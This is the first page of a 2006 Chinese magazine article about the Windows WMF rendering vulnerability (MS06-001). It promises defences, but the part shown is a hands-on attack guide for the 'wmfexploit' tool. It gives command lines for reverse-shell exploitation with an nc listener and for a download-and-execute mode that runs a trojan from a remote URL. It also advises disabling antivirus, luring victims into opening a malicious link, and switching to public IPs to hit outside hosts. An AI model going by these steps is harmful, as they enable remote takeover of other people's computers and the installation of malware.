中华网络安全联盟    作者：飘忽不定    来源：家用电脑    时间：2006-4-12

　　就在刚迈入2006年之际，Windows系统出现了一个严重的漏洞，这就是Microsoft Windows图形渲染引擎wmf格式代码漏洞（ms0601）。这个漏洞出现在Windows的图形渲染引擎中，黑客可以构造恶意的wmf文件，引诱其他用户打开，当系统没有更新过wmf补丁时，将会执行黑客事先设置好的恶意代码，获取系统的最高权限，从而完全听命于黑客。就在漏洞公布几天后，网络上使用wmf漏洞进行传播的病毒、攻击事件不断，直至今日，网上仍然充斥着无数利用wmf漏洞的攻击。本文将向大家介绍有关wmf漏洞的知识及防范方法。

　　由于wmf漏洞涉及的Windows系统版本很多，包括从Windows 98到Windows 2003之间的所有系统版本，因此危害十分巨大。目前利用wmf漏洞的攻击主要包括两类：1.溢出攻击 2.利用漏洞制作的网页木马。前者可以让黑客得到系统的最高权限，后者则可以将受害者的电脑成为黑客的肉鸡。下面我们先来看看黑客是如何利用wmf漏洞的。

　　一.使用专用溢出工具

　　wmf漏洞的溢出工具在漏洞公布的几天后就出现在网上，虽然公布时间较早，存在一些缺陷，但是仍然能轻松得将存在漏洞的主机溢出。这款溢出工具名叫wmfexploit。下载后将其解压到c盘（由于溢出程序会被杀毒软件认为是病毒，因此测试时需要将杀毒软件关闭），点“开始”→“运行”，输入“CMD”运行“命令提示符”。在“命令提示符”中进入c盘，输入wmfexploit后就可以查看其使用说明了。其溢出方式有两种：1.反向溢出式 2.主动下载执行式。

　　1.反向溢出，穿透防火墙
 
　　反向溢出的最大好处就是可以穿透防火墙。同时由于wmf漏洞的特殊性，我们无法通过漏洞扫描器来确定哪台主机存在漏洞，因此可以使用反向连接，让有漏洞的主机主动连接本机。
 
　　在“命令提示符”中运行wmfexploit后，可以查看其反向溢出的使用说明。其使用方法如下：wmfexploit 1 。其中数字1代表的是溢出方式为反向连接，“ ”表示本机的IP地址和端口，这项的作用是在本机开启一个web服务，使目标可以访问本机的恶意wmf文件，从而造成溢出。最后的“ ”则是反向溢出返回shell时监听的IP地址和端口。这里举例为“wmfexploit 1 192.168.0.1 777 192.168.0.1 888”。设置好后回车，溢出程序会显示绑定成功!

图1.成功设置反向连接

　　设置完成后，我们进入“命令提示符”，然后运行著名的网络工具nc，输入如下命令“nc －vv －l －p 888”，这样nc就开始监听本机的888端口。接着我们就可以引诱目标访问我们的恶意wmf文件了。将网址“http：//192.168.0.1:777/any.wmf”发给对方即可。当目标打开这个地址时，就会运行我们捆绑有溢出信息的wmf文件。我们回到用nc监听的窗口，可以看到，目标主机已经成功溢出了。

图2.溢出后得到一个shell

　　提示：上文中提到的IP地址192.168.0.1，属于内网IP，只是方便进行本机测试，如果想对外网的主机进行测试，则需要将本机的内网IP改为外网IP。

　　2.下载执行，直接运行木马
 
　　除反向溢出外，wmfexploit还有一种溢出方式就是下载执行式。当目标主机运行恶意wmf文件发生溢出后，不会将shell发送到本机监听的端口上，而是直接从指定的网址上下载一个exe文件运行，这个文件可以是木马，也可以是其他程序。当然我们还需要有一个网页空间，用来放置需要执行的exe文件。
 
　　查看下载执行式溢出的使用方法：wmfexploit 2 。数字2表示将溢出方式改为下载执行式，最后的表示exe文件所在的网址。举例为“wmfexploit 2 192.168.0.1 777 http://www.***.com/123.exe”。设置完成后我们不需要用nc进行监听，只需发送网址“http：//192.168.0.1:777/any.wmf”即可。

[1] [2] [3] 下一页